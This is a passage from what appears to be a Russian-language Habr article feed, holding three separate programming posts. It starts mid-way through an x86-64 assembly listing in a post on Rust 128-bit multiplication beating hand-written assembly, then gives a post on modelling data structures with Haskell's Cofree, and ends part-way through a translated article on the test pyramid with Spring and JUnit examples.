    setb   %r13b
    orb    -0x2a(%rbp), %r10b
    addq   %r8,         %rcx
    movzbl %r10b,       %ecx
    adcq   %rsi,        %rcx
    setb   %al
    addq   %r12,        %rcx
    setb   %r8b
    orb    %al,         %r8b
    movq   %r14,        %rax
    movq   -0x48(%rbp), %r14
    mulq   %r14
    movq   %rdx,        %r10
    movq   %rax,        %rsi
    addq   %rcx,        %rsi
    movzbl %r8b,        %eax
    adcq   %rax,        %r10
    addq   %rbx,        %rsi
    setb   %cl
    orb    %r13b,       %cl
    movq   %r15,        %rax
    mulq   -0x40(%rbp)
    movq   %rdx,        %rbx
    movq   %rax,        %r8
    addq   %rsi,        %r8
    movzbl %cl,         %eax
    adcq   %rax,        %rbx
    setb   %al
    addq   %r10,        %rbx
    setb   %cl
    orb    %al,         %cl
    movq   %r15,        %rax
    mulq   %r14
    addq   %rbx,        %rax
    movzbl %cl,         %ecx
    adcq   %rcx,        %rdx
    movq   -0x70(%rbp), %rcx
    movq   %rcx,        (%rdi)
    movq   -0x68(%rbp), %rcx
    movq   %rcx,        0x8(%rdi)
    movq   -0x60(%rbp), %rcx
    movq   %rcx,        0x10(%rdi)
    movq   %r11,        0x18(%rdi)
    movq   %r9,         0x20(%rdi)
    movq   %r8,         0x28(%rdi)
    movq   %rax,        0x30(%rdi)
    movq   %rdx,        0x38(%rdi)
    movq   %rdi,        %rax
    addq   $0x48,       %rsp
    popq   %rbx
    popq   %r12
    popq   %r13
    popq   %r14
    popq   %r15
    popq   %rbp
    retq   

Хотя в сгенерированной LLVM версии есть ещё несколько инструкций, но количество самых медленных директив (load и store) сведено к минимуму. По большей части LLVM избегает избыточной работы, а также применяет много смелых оптимизаций. В результате код выполняется значительно быстрее.

Это не первый раз, когда тщательно написанная реализация Rust превзошла наш код сборки. Несколько месяцев назад я переписал реализацию сложения и вычитания на Rust, ускорив их на 20% и 15%, соответственно, по сравнению с реализацией на ассемблере. Там чтобы превзойти ассемблерный код не требовалась 128-битная арифметика (чтобы использовать полную аппаратную поддержку на Rust следует лишь указать u64:: checked_add/ checked_sub), хотя кто знает — может, в будущем мы применим 128-битную арифметику и еще больше увеличим скорость.

Код из этого примера можно посмотреть здесь, а код реализации сложения/вычитания — здесь. Должен заметить, что, хотя последний уже показывает в бенчмарке превосходство по умножению над реализацией на ассемблере, но на самом деле это связано с тем, что бенчмарк в большинстве случаев выполнял умножение на 0. Мда. Если можно извлечь из этого какой-то урок, так что это информированная оптимизация невозможна без репрезентативных бенчмарков.

Я не считаю, что следует изучить методы оптимизации LLVM и переписать вручную свой вариант ассемблерного кода. Смысл в том, что оптимизирующие компиляторы уже по-настоящему хороши. Их пишут очень умные люди, а компьютеры действительно хороши в том типе оптимизаций (в математическом смысле), какой люди находят довольно трудным. Это работа разработчиков языка — дать нам инструменты, необходимые для максимально полного информирования оптимизатора, каковы наши истинные намерения, и бóльшие целочисленные размеры — ещё один шаг к этому. Rust проделал отличную работу для того, чтобы программисты писали программы, легко понятные и людям, и компиляторам. Именно эта сила во многом определила его успех.

Метки:
Похожие публикации

Ой, у вас баннер убежал!

Ну. И что?

Source: habr1

Метки:





Запись опубликована: 20.05.2018

[Из песочницы] Cofree Will Tear Us Apart

Всем привет.

В последнее время я работаю с распределенными системами и часто встречаюсь с проблемами работы с данными, части которых могут находиться в различных местах. Ну и так как я уже продолжительное время пишу на Haskell, описание проблемы и мощная система типов здорово помогли в дальнейшем развитии этой идеи. Речь пойдет о том, как всего одна несущая алгебраическая конструкция позволила решить задачу рециркулирующих данных в общем виде.

Введение и мотивация

По ходу повествования мы встретим три основных тезиса, которые дадут представление о желаемом результате.

Представьте, что вам нужно написать программу, которая работает с какими-то данными. Если данных слишком много, то вам придется задумываться об организации и хранении — так как хранить их в оперативной памяти слишком ненадежно, может не хватить места или во время аварийного завершения программы вы их полностью потеряете.

Использовать базу данных? Какие? Реляционные, документоориентированные, хранилища типа «ключ-значение» или что-нибудь попроще — просто писать в файлик? Что же, каждая из этих опций имеет собственные достоинства и недостатки.

Где бы мы их не хранили, чтобы сделать с этими данными что-то, что выходит за пределы возможностей выбранного нами способа, нам в любом случае необходимо загрузить их обратно в оперативную память. Разумеется, только какую-то часть, а не все подряд, по причинам описанным выше.

Тезис 1. Нам не нужно хранить все данные в пямяти, а только какую-то часть.

И правда, когда мы работаем с базами данных, мы пишем запросы, по которым мы эти данные можем получать в память. Запись в базе данных — это ведь только кусочек от всего нашего общего массива с информацией. В случае реляционных — это записи в таблицах. В случае хранилищ типа «ключ-значение» — пара «ключ-значение».

Когда вы пишете приложения для реального мира, вам приходится подстраивать схему организации данных из своей предметной области под ограничения выбранного вами способа. Это будет зависеть от степени связности, аспектов производительности и многих других факторов.

Тезис 2. Мы хотим абстрагироваться от способа хранения и обработки информации.

Основываясь на двух предыдущих свойствах, нам нужен способ разделения данных, с которыми мы сейчас работаем и которые фактически находятся в оперативной памяти, и данными, которые законсервированы где-нибудь на жестком диске. Нам нужен способ их разделения.

Как же мы будем их разделять? Нам нужна такая структура, которая позволит безболезненно разделять и соединять данные. Давайте поразмышляем на эту тему?

  • Списки? Можно, но есть проблемы. Стоимость доступа к произвольному элементу — O(n). Стоимость объединения двух списков такая же.
  • Какие-нибудь деревья? Если это бинарные, то стоимость доступа в хорошем случае снижается до O(log n). Но нам не всегда будет требоваться хранить отсортированные данные. Слишком частный случай, нам не подходит.
  • Массивы? Стоимость доступа — O(1). Но тоже частный случай, просто столкнемся с другими проблемами — эта структура вообще не алгебраическая.

Тезис 3. Нам нужна несущая конструкция, способная охватить в своем описании многие другие структуры данных.

И такая структура есть!

Несущая конструкция Cofree

Многие Haskell-программисты знакомы с типом Free. Но почему-то его дуальности, Cofree, уделено не так много внимания. А разница между ними составляет одну деталь: Free тип — это сумма из некоторого а и t (Free t a), а Cofree — произведение:

Free t a = a + t (Free t a)
Cofree t a = a × t (Cofree t a)

Это означает, что если мы выберем Cofree в качестве нашей несущей конструкции, у структуры данных, определенной через последнюю, появятся несколько особенностей:

  • Эта структура всегда будет непустой, она всегда будет иметь по крайней мере один элемент.
  • Так как Cofree также имеет экземпляр класса типов Comonad, мы уже имеем много полезных методов задаром:
    • extract — Получить значение, которое находится в фокусе.
    • extend — Обновить значения во всей структуре в зависимости от контекста.
    • unwrap — Получить множитель произведения, сегмент информации.
    • coiter — Сгенерировать структуру из начального значения.

Так каким образом мы собираемся собирать различные структуры данных с помощью Cofree? Нам всего-то и нужно что инстанциировать тип t в Cofree t a, имеющий экземпляр класса типов Functor.

Представим, что нам нужен стэк или непустой список — простая структура данных. Тут нам подойдет Maybe, в этом случае, конструкторы последнего выполняют роль генератора — Just позволят продолжить описывать структуру, а Nothing является терминирующим инвариантом.:

data Maybe a = Just a | Nothing
type Stack = Cofree Maybe
example :: Stack Int
example = 1 :< Just (2 :< Just (3 :< Nothing))

Вспомогательная конструкция Shape

Хорошо, мы разобрались как можно описывать структуры данных на Cofree. Мы затеяли этот разговор для нахождения способа разделения данных с точки зрения типов, находящихся в разных местах. Для этого мы снабдим Cofree еще одной конструкцией:

data Shape t raw value
    = Ready (t value) -- ^ Сегмент данных в оперативной памяти
    | Converted raw -- ^ Cегмент данных где-нибудь в другом месте
data Apart t raw value = Apart (Cofree (Shape t raw) value)

И получаем замечательный тип Apart, который будет контролировать, какая часть данных где находится.

Пример использования Apart

А теперь, давайте составим иллюстрированный пример. Представьте, что мы хотим поработать с бинарным деревом. Как мы можем описать его через Cofree? Через «функтор ветвления». Узел дерева может не иметь потомков, иметь левого потомка, правого потомка или обоих. Давайте прямо так и закодируем:

data Crotch a = End | Less a | Greater a | Crotch a a
type Binary = Cofree Crotch

Отлично, теперь мы можем написать значение для этого типа, пример бинарного дерева поиска возьмем с одноименной статьи Википедии:

image

example :: Binary Int
example = 8 :< Crotch
    (3:< Crotch
        (1 :< End)
        (6 :< Crotch
            (4 :< End)
            (7 :< End)))
    (10 :< Greater
        (14 :< Less
            (13 :< End)))

Опробуем первый комбинатор — limit, он позволит нам обрезать наше дерево по высоте:

limit 3 do_something_with_the_rest example

Я намеренно абстрагировался от способа сохранения, чтобы не заострять на этом внимание — мы можем хранить не вошедшие в диапазон сегменты в файл и функция do_something_with_rest может возвращать нам название файла и номер строки. Или вовсе класть в Redis/Memcashed/Tarantool и возвращать параметры соединения и ключ для сохраненного сегмента. В общем, не так важно.

scattered :: Scattered Binary Int _
scattered = 8 :< Crotch
    (3 :< Crotch
        (1 :< {RESTORE_INFO})
        (6 :< {RESTORE_INFO}))
    (10 :< Greater
        (14 :< {RESTORE_INFO}))

И вот, что осталось от нашего дерева — оно обрезалось по высоте. Но информация для восстановления осталась на месте исчезнувших трех сегментов. Представление выше на самом деле скрывает конструктор Ready, а Converted заменен на фигурные скобочки (спасибо хитрому экземпляру класса Show).

С помощью комбинатора recover мы можем вернуть всю структуру данных в память:

recover back_to_RAM scattered

Или и вовсе пройтись с эффектом по разбросанной структурой данных, по ходу дела восстанавливая сегменты в памяти и применяя к ним такую же функцию как и к значениям в памяти.

fluent do_something_whereever_they_are scattered

В качестве заключения

Вот так алгебраические структуры данных и понятия из теории категорий позволили сначала описать, а после и решить задачу рециркулирующих данных в самом общем виде.

Идеи, описанные выше, были реализованы в библиотеке, которой пока нет на Hackage, но находящейся в фазе активного развития.

На данный момент мне удалось описать направленный ацикличный граф, бинарные, префиксные, розовые, АВЛ-деревья и немного отдельных функций для работы с ними.

Сама идея использования Cofree в качестве несущей конструкции для других структур данных была мною подхвачена из описания к модулю Control.Comonad.Cofree в пакете free Эдварда Кметта.

Идея алгебраического описания графов была использована здесь из работы Андрея Мохова.

В планах также остается:

  • Реализовать пальчиковые, Splay-деревья и другие структуры посложнее.
  • Написать побольше функций для работы с ними (вставки, удаления, балансировки и т.п.).
  • Естественные преобразования между ними (так как функтор как раз и определяет особенности отдельной структуры).
  • Оптические интерфейсы для работы с внутренностями структур.
  • Изучить способы совместимости комбинаторов со стриминговыми библиотеками (pipes, conduit, io-streams, machines).
  • Написать полноценные тесты свойств отдельных структур данных.
  • Бенчмарки, в первую очередь с популярными containers.

Пишите в комментариях, какие структуры данных вам бы хотелось использовать таким образом и какие комбинаторы могли бы пригодиться в повседневной практике. Буду рад любым замечаниям и критике.

Спасибо за внимание.

Метки:
Похожие публикации

Ой, у вас баннер убежал!

Ну. И что?

Source: habr1

Метки:





Запись опубликована: 20.05.2018

[Перевод] Пирамида тестов на практике

  • Перевод
Об авторе: Хэм Фокке — разработчик и консультант ThoughtWorks в Германии. Устав от деплоя в три ночи, он добавил в свой инструментарий средства непрерывной доставки и тщательной автоматизации. Сейчас налаживает такие системы другим командам для обеспечения надёжной и эффективной поставки программного обеспечения. Так он экономит компаниям время, которое эти надоедливые людишки тратили на свои выходки.

«Пирамида тестов» — метафора, которая означает группировку тестов программного обеспечения по разным уровням детализации. Она также даёт представление, сколько тестов должно быть в каждой из этих групп. Несмотря на то, что концепция тестовой пирамиды существует довольно давно, многие команды разработчиков по-прежнему пытаются неправильно реализовать её на практике должным образом. В этой статье рассматривается первоначальная концепция тестовой пирамиды и показано, как её воплотить в жизнь. Она показывает, какие виды тестов следует искать на разных уровнях пирамиды, и даёт практические примеры, как их можно реализовать.

Содержание

Примечания

Перед выпуском программное обеспечение нужно тестировать. По мере взросления софтверной отрасли созрели и подходы к тестированию. Вместо мириадов живых тестировщиков разработчики перешли к автоматизации большей части тестов. Автоматизация тестов позволяет узнать о баге в считанные секунды и минуты после его внесения в код, а не через несколько дней или недель.

Резко сокращённый цикл обратной связи, подпитываемый автоматизированными тестами, идёт рука об руку с гибкими практиками разработки, непрерывной доставкой и культурой DevOps. Эффективный подход к тестированию обеспечивает быструю и уверенную разработку.

В этой статье рассматривается, как должен выглядеть хорошо сформированный набор тестов, чтобы быть гибким, надёжным и поддерживаемым — независимо от того, создаете ли вы архитектуру микросервисов, мобильные приложения или экосистемы IoT. Мы также детально рассмотрим создание эффективных и удобочитаемых автоматизированных тестов.

Важность автоматизации (тестов)

Программное обеспечение стало неотъемлемой частью мира, в котором мы живём. Оно переросло первоначальную единственную цель увеличить эффективность бизнеса. Сегодня каждая компания стремится стать первоклассной цифровой компанией. Все мы каждый день выступаем пользователями всё большего количества ПО. Скорость инноваций возрастает.

Если хотите идти в ногу со временем, нужно искать более быстрые способы доставки ПО, не жертвуя его качеством. В это может помочь непрерывная доставка — это практика, которая автоматически гарантирует, что ПО может быть выпущено в продакшн в любое время. При непрерывной доставке используется конвейер сборки для автоматического тестирования ПО и его развёртывания в тестовой и рабочей средах.

Вскоре сборка, тестирование и развёртывание постоянно растущего количества ПО вручную становится невозможной — если только вы не хотите тратить всё своё время на выполнение вручную рутинных задач вместо доставки рабочего софта. Единственный путь — автоматизировать всё, от сборки до тестирования, развёртывания и инфраструктуры.

Рис. 1. Использование конвейеров сборки для автоматического и надёжного ввода ПО в эксплуатацию

Традиционно тестирование требовало чрезмерной ручной работы через развертывание в тестовой среде, а затем тестов в стиле чёрного ящика, например, кликанием повсюду в пользовательском интерфейсе с наблюдением, появляются ли баги. Часто эти тесты задаются тестовыми сценариями, чтобы гарантировать, что тестировщики всё последовательно проверят.

Очевидно, что тестирование всех изменений вручную занимает много времени, оно однообразное и утомительное. Однообразие скучно, а скука приводит к ошибкам.

К счастью, есть прекрасный инструмент для однообразных задач: автоматизация.

Автоматизация однообразных тестов изменит вашу жизнь как разработчика. Автоматизируйте тесты, и вам больше не придётся бездумно следовать клик-протоколам, проверяя корректность работы программы. Автоматизируйте тесты, и вы не моргнув глазом измените кодовую базу. Если вы когда-либо пробовали делать крупномасштабный рефакторинг без надлежащего набора тестов, я уверен, вы знаете, в какой ужас это может превратиться. Как вы узнаете, если случайно сделаете ошибку в процессе? Ну, придётся щёлкать вручную по всем тестовым случаям, как же ещё. Но будем честными: вам это действительно нравится? Как насчёт того, чтобы даже после крупномасштабных изменений любые баги проявляли себя в течение нескольких секунд, пока вы пьёте кофе? По-моему, это гораздо приятнее.

Пирамида тестов

Если серьёзно подходить к автоматическим тестам, то есть одна ключевая концепция: пирамида тестов. Её представил Майк Кон в своей книге «Scrum: гибкая разработка ПО» (Succeeding With Agile. Software Development Using Scrum). Это отличная визуальная метафора, наталкивающая на мысль о разных уровнях тестов. Она также показывает объём тестов на каждом уровне.

Рис. 2. Пирамида тестов

Оригинальная пирамида тестов Майка Кона состоит из трёх уровней (снизу вверх):

  1. Юнит-тесты.
  2. Сервисные тесты.
  3. Тесты пользовательского интерфейса.

К сожалению, при более тщательном концепция кажется недостаточной. Некоторые утверждают, что либо именования, либо некоторые концептуальные аспекты пирамиды тестов Майка Кона не идеальны, и я должен согласиться. С современной точки зрения пирамида тестов кажется чрезмерно упрощённой и поэтому может вводить в заблуждение.

Тем не менее, из-за своей простоты суть тестовой пирамиды представляет хорошее эмпирическое правило, когда дело доходит до создания собственного набора тестов. Из этой пирамиды главное запомнить два принципа:

  1. Писать тесты разной детализации.
  2. Чем выше уровень, тем меньше тестов.

Придерживайтесь формы пирамиды, чтобы придумать здоровый, быстрый и поддерживаемый набор тестов. Напишите много маленьких и быстрых юнит-тестов. Напишите несколько более общих тестов и совсем мало высокоуровневых сквозных тестов, которые проверяют приложение от начала до конца. Следите, что у вас в итоге не получился тестовый рожок мороженого, который станет кошмаром в поддержке и будет слишком долго выполняться.

Не привязывайтесь слишком сильно к названиям отдельных уровней пирамиды тестов. На самом деле они могут ввести в заблуждение: термин «сервисный тест» трудно понять (сам Кон заметил, что многие разработчики полностью игнорируют этот уровень). В наше время фреймворков для одностраничных приложений вроде React, Angular, Ember.js и других становится очевидным, что тестам UI не место на вершине пирамиды — вы прекрасно можете протестировать UI во всех этих фреймворках.

Учитывая недостатки оригинальных названий в пирамиде, вполне нормально придумать другие имена для своих уровней тестов. Главное, чтобы они соответствовали вашему коду и терминологии, принятой в вашей команде.

Какие инструменты и библиотеки мы рассмотрим

  • JUnit: для запуска тестов
  • Mockito: для зависимостей имитаций
  • Wiremock: для заглушек внешних сервисов
  • Pact: для написания CDC-тестов
  • Selenium: для написания сквозных тестов UI
  • REST-assured: для написания сквозных тестов REST API

Пример приложения

Я написал простой микросервис с тестами из разных уровней пирамиды.

Это пример типичного микросервиса. Он предоставляет интерфейс REST, общается с БД и извлекает информацию из стороннего сервиса REST. Он реализован на Spring Boot и должен быть понятен даже если вы никогда не работали со Spring Boot.

Обязательно проверьте код на Github. В файле readme инструкции для запуска приложения и автоматических тестов на вашем компьютере.

Функциональность

У приложения простая функциональность. Оно обеспечивает интерфейс REST с тремя конечными точками:

GET /hello
Возвращает "Hello World". Всегда.

GET /hello /{lastname}
Ищет человека с указанной фамилией. Если человек известен, возвращает "Hello {Firstname} {Lastname}".

GET /weather
Возвращает текущие погодные условия в Гамбурге, Германия.

Высокоуровневые структуры

На высоком уровне у системы следующая структура:

Рис. 3. Высокоуровневая структура микросервиса

Наш микросервис обеспечивает интерфейс REST по HTTP. Для некоторых конечных точек сервис получает информацию из БД. В других случаях обращается по HTTP к внешнему API для получения и отображения текущей погоды.

Внутренняя архитектура

Изнутри у Spring Service типичная архитектура для Spring:

Рис. 4. Внутренняя структура микросервиса

  • Классы Controller предоставляют конечные точки REST, обрабатывают запросы HTTP и ответы.
  • Классы Repository взаимодействуют с базой данных, отвечают за запись и чтение данных в/из постоянного хранилища.
  • Классы Client взаимодействуют с другими API, в нашем случае — забирают данные JSON по HTTPS с погодного API на darksky.net.
  • Классы Domain захватывают модель домена, включая логику домена (которая, честно говоря, в нашем случае довольно тривиальна).

Опытные разработчики Spring могут заметить, что здесь отсутствует часто используемый слой: многие вдохновлённые проблемно-ориентированным проектированием разработчики создают слой сервисов, состоящий из классов сервисов. Я решил не включать его в приложение. Одна из причин в том, что наше приложение достаточно простое, а слой сервисов станет ненужным уровнем косвенности. Другая причина в том, что на мой взгляд люди часто переусердствуют с этими слоями. Нередко приходится видеть кодовые базы, где классы сервисов охватывают всю бизнес-логику. Модель домена становится просто слоем для данных, а не для поведения (анемичная модель домена). Для каждого нетривиального приложения так теряются большие возможности для хорошей структуризации кода и тестируемости, а также не в полной мере используется мощь объектной ориентации.

Наши репозитории просты и обеспечивают простую функциональность CRUD. Для простоты кода я использовал Spring Data. Он даёт простую и универсальную реализацию репозитория CRUD, а также заботится о том, чтобы развернуть для наших тестов БД в памяти, а не использовать реальную PostgreSQL, как это было бы в продакшне.

Взгляните на кодовую базу и познакомьтесь с внутренней структурой. Это полезно для следующего шага: тестирования приложения!

Юнит-тесты

Основа вашего набора тестов состоит из юнит-тестов (модульных тестов). Они проверяют, что отдельный юнит (тестируемый субъект) кодовой базы работает должным образом. Модульные тесты имеют максимально узкую область среди всех тестов в наборе тестов. Количество юнит-тестов в наборе значительно превышает количество любых других тестов.

Рис. 5. Обычно юнит-тест заменяет внешних пользователей тестовыми дублями

Что такое юнит?

Если вы спросите трёх разных людей, что означает «юнит» в контексте юнит-тестов, то вероятно получите четыре разных, слегка отличающихся ответа. В определённой степени это вопрос вашего собственного определения — и это нормально, что здесь нет общепринятого канонического ответа.

Если вы пишете на функциональном языке, то юнитом скорее всего будет отдельная функция. Ваши юнит-тесты вызовут функцию с различными параметрами и обеспечат возврат ожидаемых значений. В объектно-ориентированном языке юнит может варьироваться от отдельного метода до целого класса.

Общительные и одинокие тесты

Некоторые утверждают, что всех участников (например, вызываемые классы) тестируемого субъекта следует заменить на имитации (mocks) или заглушки (stubs), чтобы создать идеальную изоляцию, избежать побочных эффектов и сложной настройки теста. Другие утверждают, что на имитации и заглушки следует заменять только участников, которые замедляют тест или проявляют сильные побочные эффекты (например, классы с доступом к БД или сетевыми вызовами).

Иногда эти два вида юнит-тестов называют одинокими (solitary) в случае тотального применения имитаций и заглушек или общительными (sociable) в случае реальных коммуникаций с другими участниками (эти термины придумал Джей Филдс для книги «Эффективная работа с юнит-тестами»). Если у вас есть немного свободного времени, можете спуститься в кроличью нору и разобраться в преимуществах и недостатках разных точек зрения.

Но в итоге не имеет значения, какой тип тестов вы выберете. Что реально важно, так это их автоматизация. Лично я постоянно использую оба подхода. Если неудобно работать с реальными участниками, я буду обильно использовать имитации и заглушки. Если чувствую, что привлечение реального участника даёт больше уверенности в тесте, то заглушу только самые дальние части сервиса.

Имитации и заглушки

Имитации (mocks) и заглушки (stubs) — это два разных типа тестовых дублёров (вообще их больше). Многие используют термины взаимозаменяемо. Думаю, что лучше соблюдать точность и держать в уме конкретные свойства каждого из них. К объектам из продакшна тестовые дублёры создают реализацию для тестов.

Проще говоря, вы заменяете реальную вещь (например, класс, модуль или функцию) поддельной копией. Подделка выглядит и действует как оригинал (даёт такие же ответы на те же вызовы методов), но это заранее установленные ответы, которые вы сами определяете для юнит-теста.

Тестовые дублёры используются не только в юнит-тестах. Более сложные дублёры применяются для контролируемой имитации целых частей вашей системы. Однако в юнит-тестах используется особенно много имитаций и заглушек (в зависимости от того, предпочитаете вы общительные или одиночные тесты) просто потому что множество современных языков и библиотек позволяют легко и удобно их создавать.

Независимо от выбранной технологии, в стандартной библиотеке вашего языка или какой-то популярной сторонней библиотеке уже есть элегантный способ настройки имитаций. И даже для написания собственных имитаций с нуля достаточно всего лишь написать поддельный класс/модуль/функцию с той же подписью, что и реальная, и настройки имитации для теста.

Ваши юнит-тесты будут работать очень быстро. На приличной машине можно прогнать тысячи модульных тестов за нескольких минут. Тестируйте изолированно небольшие фрагменты кодовой базы и избегайте контактов с БД, файловой системой и HTTP-запросов (ставя здесь имитации и заглушки), чтобы сохранить высокую скорость.

Поняв основы, со временем вы начнёте всё более свободно и легко писать юнит-тесты. Заглушка внешних участников, настройка входных данных, вызов тестируемого субъекта — и проверка, что возвращаемое значение соответствует ожидаемому. Посмотрите на разработку через тестирование (TDD), и пусть юнит-тесты направляют вашу разработку; если они применяются правильно, это поможет попасть в мощный поток и создать хорошую поддерживаемую архитектуру, автоматически выдавая всеобъемлющий и полностью автоматизированный набор тестов. Но это не универсальное решение. Попробуйте и посмотрите сами, подходит ли TDD в вашем конкретном случае.

Что тестировать?

Хорошо, что юнит-тесты можно писать для всех классов кода продакшна, независимо от их функциональности или того, к какому уровню внутренней структуры они принадлежат. Юнит-тесты подходят для контроллеров, репозиториев, классов предметной области или программ считывания файлов. Просто придерживайтесь практического правила один тестовый класс на один класс продакшна.

Юнит-тест должен как минимум протестировать открытый интерфейс класса. закрытые методы всё равно нельзя протестировать, потому что их нельзя вызвать из другого тестового класса. Защищённые или доступные лишь в пределах пакета (package-private) методы доступны из тестового класса (учитывая, что структура пакета тестового класса такая же, как на продакшне), но тестирование этих методов может уже зайти слишком далеко.

Когда дело доходит до написания юнит-тестов, есть тонкая черта: они должны гарантировать, что проверены все нетривиальные пути кода, включая дефолтный сценарий и пограничные ситуации. В то же время они не должны быть слишком тесно привязаны к реализации.

Почему так?

Тесты, слишком привязанные к коду продакшна, быстро начинают раздражать. Как только вы осуществляете рефакторинг кода (то есть изменяете внутреннюю структуру кода без изменения внешнего поведения), модульные тесты сразу ломаются.

Таким образом, вы теряете важное преимущество юнит-тестов: действовать в качестве системы безопасности для изменений кода. Вы скорее устанете от этих глупых тестов, которые падают каждый раз после рефакторинга, принося больше проблем, чем пользы; чья вообще была эта дурацкая идея внедрить тесты?

Чем же делать? Не отражайте в модульных тестах внутреннюю структуру кода. Тестируйте наблюдаемое поведение. Например:

если я введу значения x и y, будет ли результат z?

вместо этого:

если я введу x и y, то обратится ли метод сначала к классу А, затем к классу Б, а затем сложит результаты от класса А и класса Б?

Как правило, закрытые методы следует рассматривать как деталь реализации. Вот почему даже не должно появляться желание их проверить.

Часто я слышу от противников модульного тестирования (или TDD), что написание юнит-тестов становится бессмысленным, если нужно проверить все методы для большого охвата тестирования. Они часто ссылаются на сценарии, где чрезмерно нетерпеливый тимлид заставил писать модульные тесты для геттеров и сеттеров и прочего тривиального кода, чтобы выйти на 100% тестового покрытия.

Это совершенно неправильно.

Да, вы должны протестировать публичный интерфейс. Но ещё более важно не тестировать тривиальный код. Не волнуйтесь, Кент Бек это одобряет. Вы ничего не получите от тестирования простых геттеров или сеттеров или других тривиальных реализаций (например, без какой-либо условной логики). И вы сэкономите время, так что сможете посидеть ещё на одном совещании, ура!

Но мне очень нужно проверить этот закрытый метод
Если вы когда-нибудь окажетесь в ситуации, когда вам очень-очень нужно проверить закрытый метод, нужно сделать шаг назад и спросить себя: почему?

Уверен, что здесь скорее проблема дизайна. Скорее всего, вы чувствуете необходимость протестировать закрытый метод, потому что он сложный, а тестирование метода через открытый интерфейс класса требует слишком неудобной настройки.

Всякий раз, когда я оказываюсь в такой ситуации, я обычно прихожу к выводу, что тестируемый класс переусложнён. Он делает слишком много и нарушает принцип единой ответственности — один из пяти принципов SOLID.

Для меня часто работает решение разделить исходный класс на два класса. Часто после минуты-другой размышлений находится хороший способ разбить большой класс на два меньших с индивидуальной ответственностью. Я перемещаю закрытый метод (который срочно надо протестировать) в новый класс и позволяю старому классу вызвать новый метод. Вуаля, неудобный для тестирования закрытый метод теперь публичен и легко тестируется. Кроме того, я улучшил структуру кода, внедрив принцип единой ответственности.

Cтруктура теста

Хорошая структура всех ваших тестов (не только модульных) такова:

  1. Настройка тестовых данных.
  2. Вызов тестируемого метода.
  3. Проверка, что возвращаются ожидаемые результаты.

Есть хорошая мнемоника для запоминания этой структуры: три A (Arrange, Act, Assert). Можно использовать и другую мнемонику с корнями в BDD (разработка, основанная на описании поведения). Это триада дано, когда, тогда, где «дано» отражает настройку, «когда» — вызов метода, а «тогда» — утверждение.

Этот шаблон можно применить и к другим, более высокоуровневым тестам. В каждом случае они гарантируют, что тесты остаются лёгкими и читаемыми. Кроме того, написанные с учётом этой структуры тесты обычно короче и выразительнее.

Реализация юнит-теста

Теперь мы знаем, что именно тестировать и как структурировать юнит-тесты. Пришло время посмотреть на реальный пример.

Возьмем упрощённую версию класса ExampleController.

@RestController
public class ExampleController {
    private final PersonRepository personRepo;
    @Autowired
    public ExampleController(final PersonRepository personRepo) {
        this.personRepo = personRepo;
    }
    @GetMapping("/hello/{lastName}")
    public String hello(@PathVariable final String lastName) {
        Optional<Person> foundPerson = personRepo.findByLastName(lastName);
        return foundPerson
                .map(person -> String.format("Hello %s %s!",
                        person.getFirstName(),
                        person.getLastName()))
                .orElse(String.format("Who is this '%s' you're talking about?",
                        lastName));
    }
}

Юнит-тест для метода hello(lastname) может выглядеть таким образом:

public class ExampleControllerTest {
    private ExampleController subject;
    @Mock
    private PersonRepository personRepo;
    @Before
    public void setUp() throws Exception {
        initMocks(this);
        subject = new ExampleController(personRepo);
    }
    @Test
    public void shouldReturnFullNameOfAPerson() throws Exception {
        Person peter = new Person("Peter", "Pan");
        given(personRepo.findByLastName("Pan"))
            .willReturn(Optional.of(peter));
        String greeting = subject.hello("Pan");
        assertThat(greeting, is("Hello Peter Pan!"));
    }
    @Test
    public void shouldTellIfPersonIsUnknown() throws Exception {
        given(personRepo.findByLastName(anyString()))
            .willReturn(Optional.empty());
        String greeting = subject.hello("Pan");
        assertThat(greeting, is("Who is this 'Pan' you're talking about?"));
    }
}

Мы пишем юнит-тесты в JUnit, стандартном фреймворке тестирования Java. Используем Mockito для замены реального класса PersonRepository на класс с заглушкой для теста. Эта заглушка позволяет указать предустановленные ответы, которые вернёт метод-заглушка. Подобный подход делает тест более простым и предсказуемым, позволяя легко настроить проверку данных.

Следуя структуре «трёх А» пишем два юнит-теста для положительного и отрицательного случаев, когда искомое лицо не может быть найдено. Положительный тестовый случай создаёт новый объект person и сообщает имитации репозитория возвращать этот объект, когда параметр lastName вызывается со значением Pan. Затем тест вызывает тестируемый метод. Наконец, он сравнивает ответ с ожидаемым.

Второй тест работает аналогично, но тестирует сценарий, в котором тестируемый метод не находит объект person для данного параметра.

Специализированные тестовые хелперы
Замечательно, что вы можете писать юнит-тесты для всей кодовой базы независимо от уровня архитектуры вашего приложения. Пример ниже показывает простой юнит-тест для контроллера. К сожалению, когда дело доходит до контроллеров Spring, у этого подхода есть недостаток: контроллер Spring MVC интенсивно использует аннотации с объявлениями прослушиваемых путей, используемых команд HTTP, параметров парсинга URL, параметров запросов и так далее. Простой вызов метода контроллера в юнит-тесте не проверит все эти важные вещи. К счастью, сообщество Spring придумало хороший тестовый хелпер, который можно использовать для улучшенного тестирования контроллера. Обязательно посмотрите MockMVC. Это даст отличный DSL для генерации поддельных запросов к контроллеру и проверки, что всё работает отлично. Я включил пример в код. Во многих фреймворках есть тестовые хелперы для упрощения тестов конкретных частей кода. Ознакомьтесь с документацией по своему фреймворку и посмотрите, предлагает ли там какие-либо полезные хелперы для ваших автоматизированных тестов.

Интеграционные тесты

Все нетривиальные приложения интегрированы с некоторыми другими частями (базы данных, файловые системы, сетевые вызовы к другим приложениям). В юнит-тестах вы обычно имитируете их для лучшей изоляции и повышения скорости. Тем не менее, ваше приложение будет реально взаимодействовать с другими частями — и это следует протестировать. Для этого предназначены интеграционные тесты. Они проверяют интеграцию приложения со всеми компонентами вне приложения.

Для автоматизированных тестов это означает, что нужно запустить не только собственное приложение, но и интегрируемый компонент. Если вы тестируете интеграцию с БД, то при выполнении тестов надо запустить БД. Чтобы проверить чтение файлов с диска нужно сохранить файл на диск и загрузить его в интеграционный тест.

Я ранее упоминал, что юнит-тесты — неопределённый термин. Ещё в большей степени это относится к интеграционным тестам. Для кого-то «интеграция» означает тестирование всего стека вашего приложения в комплексе с другими. Мне нравится более узкое определение и тестирование каждой точки интеграции по отдельности, заменяя остальные сервисы и базы данных тестовыми дублёрами. Вместе с контрактным тестированием и выполнением контрактных тестов на дублёрах и реальных реализациях можно придумать интеграционные тесты, которые быстрее, более независимы и обычно проще в понимании.

